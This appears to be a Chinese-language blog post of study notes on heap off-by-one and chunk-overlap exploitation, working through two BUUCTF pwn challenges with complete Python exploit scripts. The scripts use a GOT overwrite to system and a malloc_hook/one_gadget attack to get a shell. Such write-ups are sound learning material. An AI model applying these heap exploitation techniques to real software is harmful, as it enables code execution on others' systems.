关于 off-by-one 的学习

pwn的功底还很浅,仅仅是记录自己学习的一点心得体会。

后续随着学习深入,还会补知识点和题目上来。

知识点

优秀的学习资料

关于off by null的学习总结 | ZIKH26

Chunk Extend and Overlapping | ctfwiki

一点理解

与off-by-one联系很紧密的就是上面提到的 Chunk Extend and Overlapping

也就是常说的"造堆块重叠"。
为什么要造堆块重叠?

比如我们想要改写一个chunk的头部字段,也就是prev_size和size段,直接申请肯定是改不了的。

一种思路是构造错位的fake chunk,另一种更简单的思路就是造堆块重叠,通过修改size位,使得一个大的堆块的user data部分包括了我们想要修改的小堆块的header部分。

例题

[buu] hitcontraining_heapcreator

题目

我觉得这道题算是一个很好的了解off-by-one利用方式的一个例题。题目难度不大,利用点还是比较巧妙的。

反编译找漏洞点,

这里存在一个人为的off-by-one,而且这里可以多写一个字节。

回到题目的分配情况,

先分配了一个size为0x10的chunk来存放一些信息,后面再为content分配了一个chunk

这里gdb调试看看就很清晰

比如我 add(0x28,'0'),add(0x10,'1')后的堆块布局

可以看到我们每次add都会在低地址先malloc一个存放堆块信息的chunk,紧接着再malloc了一个存content的chunk。

然后注意到对于edit,show这些的操作都是通过堆块信息 的结构体来"索引"的,那我们想要泄露libc就可以把堆块信息的这个chunk的 *content 字段修改为某个函数的got表的地址,比如这道题就用atoi,那么show的时候就会打印出atoi_addr了。

这就涉及到前面"一点理解"那里类似的情形,我们直接无法修改这个"存放堆块信息"的chunk的内容,所以可以比较巧妙的利用off-by-one来实现堆块的extend

比如我们这么修改一下,其实就能造成堆块的扩张和重叠

下面来讲下具体的利用。

  1. 首先我们要修改一个"存放堆块信息"堆块的size 段。
    这步可以通过这个信息堆块上面的内容堆块的off-by-one漏洞实现。
  2. 然后我们free掉这个信息堆块对应的chunk的index
  3. 这时,根据delete_heap的实现

信息堆块和内容堆块都会free,所以此时fastbins里面有0x20,0x40两个size的bin

  1. 此时我们add一个0x30的chunk,0x40的fastbin会被申请为内容堆块,而又会申请一个0x20的信息堆块,所以0x20的bin也会被申请回来。
  1. 这道题很关键的点是信息堆块决定了对应chunk的size以及内容!所以在上一步add(0x30)时就能覆写对应信息堆块的内容。这样就能把内容改为atoi的got表,show(1)就能泄露libc了。
  2. 由于已经改了chunk1的内容地址,那么edit(1)就能把atoi的got表的内容改为system了,再发送一个"/bin/sh\x00"就能getshell了。

当然还有些细节,比如最后提到的0x18,0x28的size选择,以及修改信息堆块内容是要预留size字段(不然最后edit没长度给你写)等等。

Exp:

python 复制代码
atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'\x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/sh\x00")


p.interactive()

这道题其实还有个点很关键,也是我最开始比较疑惑的一个点。ZIKH师傅的EXP最开始的chunk0 add的是0x18,我自己实践改为0x10,0x20这些均不行,改为0x28却又可以。

调试发现,改为0x10,0x20这种的时候,我们的userdata是不会启用下一个chunk的prev_size 的。

而分配0x18,0x28这种时,ptmalloc2的机制就会复用next_chunk的prev_size段

emmm,其实归根到底就是自己对堆还是不够熟悉。毕竟只看wiki的讲解,知识点那么多,细节点也很繁杂,很难记得住。当然,实战碰到过,自己调试看一遍再理解后就好多了。

[buu] roarctf_2019_easy_pwn

题目

题目漏洞点在这里,

当a2-a1==10这个if里面,也就是edit输入的size比add的size刚好大10的时候,存在一个off-by-one。

大致分配结构

还是用bss段存了chunk的inuse和*content

我们还是可以通过off-by-one结合0x?8的size复用prev_size的特点来伪造prev_size和size触发前向(低地址)合并

此时再free(2)就可以看到触发合并了

这时,我们再add(0x80),再show(1),其实就能打印出 main_arena+88的值了

我的理解是:这里的add(0x80)就是把unsortedbin给切分了,使得fd指针(main_arena+88)移到了可show的chunk1 段。

至此就泄露了libc的基址

后面的操作感觉涉及到很多堆块的重叠,这里就逐步调试的看。

泄露libc时的堆布局

add(0x68)

(从unsortedbin切了一块)

free(1)

(fastbin 0x70)

edit(2,p64(malloc_hook-0x23))

(这里利用了上上步申请的0x68的chunk2和刚刚free的chunk1是重叠的(chunk1在最开始申请的))

add(0x68)

(申请回chunk1,实际也是chunk2)

add(0x68)

(申请回malloc_hook-0x23处的fake_chunk)

然后就是要用realloc调整栈帧,就能getshell了。

然后本地能打通,远程打不通。

看了看ZIKH师傅的Exp,需要把本地的
realloc = libcbase + libc.sym['realloc']改为realloc = libcbase + 0x846c0

然后还要改one_gadget的值

像这两个one_gadget有一个offset,目前不知道为什么,可能跟调整栈帧有关?(后面来学)

打本地Exp:

python 复制代码
add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()

本地:

远程:


总结,难。

相关推荐
笨鸟要努力37 分钟前
Ubuntu 全盘备份
linux·运维·ubuntu
ChironW41 分钟前
Ubuntu 22.04 离线环境下完整安装 Anaconda、CUDA 12.1、NVIDIA 驱动及 cuDNN 8.9.3 教程
linux·运维·人工智能·深度学习·yolo·ubuntu
轻松Ai享生活2 小时前
linux 日志详解
linux
小白的代码日记2 小时前
Linux常用指令
linux·运维·服务器
月舞之剑3 小时前
linux离线安装nodejs
linux·node.js
维尔切3 小时前
Linux中Https配置与私有CA部署指南
linux·运维·https
小熊h3 小时前
【自动化备份全网服务器数据项目】
linux·服务器·自动化·备份数据
懒散猴4 小时前
【无标题】centos 配置阿里云的yum源
linux·阿里云·centos
果子⌂4 小时前
云原生环境 Prometheus 企业级监控实战
linux·运维·服务器·kubernetes·云计算·prometheus
Swaggy T5 小时前
自动驾驶决策算法 —— 有限状态机 FSM
linux·人工智能·算法·机器学习·自动驾驶